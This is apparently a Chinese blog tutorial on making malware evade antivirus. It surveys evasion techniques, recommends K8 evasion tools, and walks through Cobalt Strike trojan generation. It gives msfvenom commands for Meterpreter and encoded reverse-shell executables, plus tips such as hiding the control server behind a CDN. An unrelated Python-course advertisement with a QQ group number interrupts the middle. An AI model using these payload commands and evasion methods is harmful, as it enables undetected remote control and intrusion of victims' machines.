简介
不管是社工钓鱼,还是一句话木马getshell,远控,亦或者是反弹shell,都会遇到杀软waf这些大敌,当然主要还是杀软,因此我们不得不考虑
免杀进而实现我们渗透测试目的。
概念
1.1 免杀类别
简单总结下我知道的免杀类别:
一句话木马绕狗(我觉得他不应该出现在这里,但为了致敬我学习的第一个免杀,把他放了出来)
文件不落地
shellcode加密
修改源码增加花指令
DLL加载
自定义加载器
指定特定的运行方式
加壳
当然还可以按照大的类别划分
静态扫描免杀
内存扫描免杀
流量分析免杀
行为分析免杀
逆向分析免杀
机器学习免杀
由于弟弟水平有限,知道的东西很少(流量分析,逆向分析一点不懂,机器学习更是一脸懵逼),望哥哥们见谅,当然最好能留下些建议或者私下能和弟弟交流下。
1.2 免杀工具
推荐一些公开流传的k8工具:
文字:
sc加载器(具体下面有介绍)
K8免杀系统自带捆绑器加强版V2.0
K8数字签名添加器
K8随机免杀花指令生成器V2.0(只是生成花指令)
图片:
大概的总结下k8工具过免杀思路吧:
1.sc加载器实现绕过,原理在于加密
2.利用其他安全软件的数字签名,进行绕过
3.捆绑正常的软件,进行绕过
4.增加没有实用效果的花指令进行绕过(花指令需要自己加然后编译)
既然是免杀,当然不能忘记cs:
cs(Cobalt Strike)的话我只有三个版本,v3的两个版本,还有v4.0的,cs是一个强大的免杀工具,并且支持c2在线团队使用。对于很多大佬来说肯定是十分熟悉
的,弟弟我只能简单的介绍下其简介:
cs拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能。同时,cs还可以调用Mimikatz等其他知
名工具。
实践
说的再多也不如拿真实情况来说话,实践主要对上述的六种工具做下简单的使用,并利用线上沙箱进行简单的查杀检测。
2.1:Cobalt Strike-3.12
因为是浅谈,再有就是我实在是太懒了,能缩水就缩水,求饶过别打我。
2.1.1:安装sever
我用的啊某云的云当的sever,这里需要注意的是只能用linux的,并且安装好java,3.12的有不同的包,而4.0的只有一个包。接下来主要以3.12为主。
2.1.2:启动sever
启动的格式:
./teamserver <host> <password>
2.1.3:启动client
很多人学习python,不知道从何学起。
很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手。
很多已经做案例的人,却不知道如何去学习更加高深的知识。
那么针对这三类人,我给大家提供一个好的学习平台,免费领取视频教程,电子书籍,以及课程的源代码!
QQ群:810735403
2.1.4:建立一个监听
根据自己的需要建立一个监听
2.1.5:生成一个exe
当然还可以生成别的,这里只做测试,简略操作,不然光cs就能写一个系列。
当然还有其他格式的木马
HTML Application 生成恶意的HTA木马文件;
MS Office Macro 生成office宏病毒文件;
Payload Generator 生成各种语言版本的payload;
USB/CD AutoPlay 生成利用自动播放运行的木马文件;
Windows Dropper 捆绑器,能够对文档类进行捆绑;
Windows Executable 生成可执行exe木马;
Windows Executable(S) 生成无状态的可执行exe木马
2.1.6:目标上线
之后就可以实远控了,轻则控制桌面,重则横向,获取域控,但要时刻谨记网络安全法,做有授权合法的渗透。
放张图,自己看:
2.1.7:在线沙盒查杀
直接放个查杀结果连接:
2.1.8:总结
为了更加真实我用的本机打开的木马,火狐全程无提醒,但是通过流量分析和走向能发现。
这里是能获取到远程ip的,但是如果我们换个骚思路,加个cdn,他还咋发现emmm。当然cs的功能还有很多,这里只做简单介绍。
2.2 k8工具
k8工具,流传的比较广,因此有些免杀效果一般,而sc加载器利用原理不外乎是加密。
2.2.1:罗列下工具
[+] 免杀工具 scrunBase64 ShellCode免杀加载器(CS & MSF)
[+] 免杀工具 scrunBase32 ShellCode免杀加载器(CS & MSF)
[+] 免杀工具 scrun.exe & scrun.py ShellCode免杀加载器(CS & MSF)
[+] 免杀工具 K8SCENCODE(CS & Msf免杀工具).rar
[+] 免杀工具 K8随机免杀花指令生成器V2.0.exe
[+] 免杀工具 K8数字签名添加器.exe
[+] 捆绑工具 K8免杀系统自带捆绑器加强版V2.0.EXE
接下来主要说下sc加载器,因为其他的捆绑或者数字签名软件完全是傻瓜操作,花指令更是知识和生成花指令,编译还得自己整,当时做的截图找不
到了,我也不想再做一遍了。。。
2.2.2:利用msf生成个shellcode先(用cs也可以)
msf生成shellcode命令:
msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.114.140 lport=5555 -f c
2.2.3:将shellcode转化为hex格式,再利用sc加载器加载:
2.2.4:msf发现上线
2.2.5:在线沙盒查杀
用的txt,因为是无文件落地:
在线查杀结果
2.2.6:总结
简单的说下优缺点吧:
优点:无文件落地,避免了防火墙,无样本可以分析。
缺点:需要sc加载器,不然没效果,不落地方案操作会被提醒。
2.3 msf生成木马
这个应该很简单吧,做下简单介绍吧,如果想利用更的操作,可以show paload,根据自己需求。
2.3.1 生成exe木马
生成命令:
msf -p windows/shell_reverse_tcp LHOST=192.168.111.139 LPORT=1235 -e x86/shikata_ga_nai -i 12 -b '\x00' -f exe > shell.exe
附图:
为了照顾新加入的哥哥,贴下msf opthions:
-p, —payload 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用’-'或者stdin指定
-l, —list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, —nopsled 为payload预先指定一个NOP滑动长度
-f, —format 指定输出格式 (使用 —help-formats 来获取msf支持的输出格式列表)
-e, —encoder [encoder] 指定需要使用的encoder(编码器)
-a, —arch 指定payload的目标架构
—platform 指定payload的目标平台
-s, —space 设定有效攻击荷载的最大长度
-b, —bad-chars 设定规避字符集,比如: ‘\x00\xff’
-i, —iterations 指定payload的编码次数
-c, —add-code 指定一个附加的win32 shellcode文件
-x, —template 指定一个自定义的可执行文件作为模板
-k, —keep 保护模板程序的动作,注入的payload作为一个新的进程运行
—payload-options 列举payload的标准选项
-o, —out 保存payload
-v, —var-name 指定一个自定义的变量,以确定输出格式
—shellest 最小化生成payload
-h, —help 查看帮助选项
—help-formats 查看msf支持的输出格式列表
2.3.2:在线查杀
附上在线查结果连接:
如果想要绕过更多杀软,例如360,可以进行加盐处理,就是生成c语言shellcode,之后添加无用的东西。
2.3.3:总结
Metasploit是最为常用的渗透框架,他包含了世界上最大而且经过测试攻击的代码数据库。所以,熟练掌握Metasploit也是一个渗透人员的基本功吧,所
以这个地方没写 太多。
免杀原理:利用msf加载器,对我们攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出
优点:操作简单,代码数据库多。
局限:不适合团队合作使用,在真实对抗中,需要实现长期维持的目的,因此更会有倾向的选择相应工具,包括c2框架(弟弟单纯的想法,如有错误,请
哥哥们指正)
2.4 其他c2框架生成shellcode
除了cs,msf以外我个人还比较喜欢用帝国(empire),当然还是根据个人喜好来,我会附上几款read-team框架供哥哥们参考,在此不做赘述。